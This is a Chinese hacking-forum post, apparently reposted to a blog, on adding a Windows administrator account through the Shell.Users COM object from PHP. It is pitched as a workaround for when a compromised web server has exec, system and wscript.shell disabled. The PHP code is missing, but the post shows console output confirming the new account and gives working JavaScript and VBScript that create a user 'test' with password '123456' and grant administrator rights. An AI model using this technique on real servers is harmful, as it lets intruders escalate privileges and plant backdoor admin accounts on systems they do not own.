php 版shell.users 加管理员帐号方法

本文介绍了一种使用PHP脚本为Windows系统添加管理员账号的方法。该方法通过调用Shell.Users组件创建新用户并设置为管理员权限。适用于Apache环境下运行的Web服务器。

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
议题作者:CyberH4ck[南拳Daddy]
Author: 南拳Daddy 转载请注明出处 hi.baidu.com/南拳daddy

09年的时候 LCX 写出了 js版 和vbs 版的shell.users 加管理员帐号的方法,后来我就想把它改成PHP 版,

由于对代码分析得不够准确,所以到最近才写出来,当 php执行命令的函数如exec,system,shell_exec,proc_open,passthru,popen

以及wscript.shell 组建被禁用的情况下,这也许是一个机会。

代码如下:

 

结果:

 

E:/program/PHPnow-1.5.6/php-5.2.14-Win32>php 1.php
<div align=center><b>PHP 版Shell.Users加管理员帐号</b></div>
Fatal error: Uncaught exception 'com_exception' with message 'Source: Unknown
Description: Unknown' in E:/program/PHPnow-1.5.6/php-5.2.14-Win32/1.php:6
Stack trace:
#0 E:/program/PHPnow-1.5.6/php-5.2.14-Win32/1.php(6): com->create('isosky.test'

#1 {main}
  thrown in E:/program/PHPnow-1.5.6/php-5.2.14-Win32/1.php on line 6

E:/program/PHPnow-1.5.6/php-5.2.14-Win32>net user

User accounts for //ISOSKY-PC

-------------------------------------------------------------------------------
__vmware_user__          Administrator            Guest
HelpAssistant            isosky                   isosky.test
SUPPORT_388945a0
The command completed successfully.


E:/program/PHPnow-1.5.6/php-5.2.14-Win32>

 

 

 

对apache 搭建的Web 服务器可以执行成功,IIS 好像权限不够,nginx 和lighttpd 搭建的web 服务器还没有测试。

下面是 LCX 的代码

js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;


vbs:
Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值